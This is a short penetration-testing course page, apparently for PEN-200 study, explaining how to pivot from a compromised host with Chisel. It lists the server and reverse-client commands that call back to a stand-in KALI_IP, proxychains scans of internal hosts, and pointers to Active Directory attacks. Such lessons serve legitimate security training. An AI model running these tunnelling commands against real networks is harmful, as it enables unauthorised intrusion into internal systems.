← Back to Academy

Academy Node

Chisel Tunneling

Chisel creates TCP tunnels and SOCKS proxies over HTTP-like transport between Kali and a compromised host.

Intermediate100 XPPivoting

Why it matters

PEN-200 covers tunneling through deep packet inspection and Chisel as a practical tunneling tool.

How to identify it

  • Compromised host can reach Kali
  • Need route to internal services

Linux commands

chisel server -p 8000 --reverse
./chisel client KALI_IP:8000 R:socks
proxychains -q nmap -sT -Pn -p 80,445 INTERNAL_IP
proxychains -q curl http://INTERNAL_IP

Expected output

  • Connected
  • Reverse tunnelling enabled
  • SOCKS listener active

Success looks like

  • Internal services reachable through proxychains

Failure looks like

  • Connection refused
  • Client cannot reach server

Troubleshooting

  • Test connectivity to KALI_IP:LPORT
  • Try common outbound ports
  • Use -v

Common mistakes

  • Wrong architecture binary
  • Not making binary executable
  • Using SYN scans

Alternative attacks

  • SSH dynamic forward
  • sshuttle
  • netsh portproxy

What to try next

  • Internal enumeration
  • AD enum
  • MSSQL enum

Recommended next lessons

ASREP Roast

ASREP roasting abuses AD users with Kerberos pre-authentication disabled. You can request encrypted ASREP material and attempt to crack it offline.

Kerberoast

Kerberoasting targets domain users with SPNs. You request service tickets and crack them offline.

GenericWrite

GenericWrite means you can modify certain attributes on the target AD object.

GenericAll

GenericAll is effectively full control over the target AD object.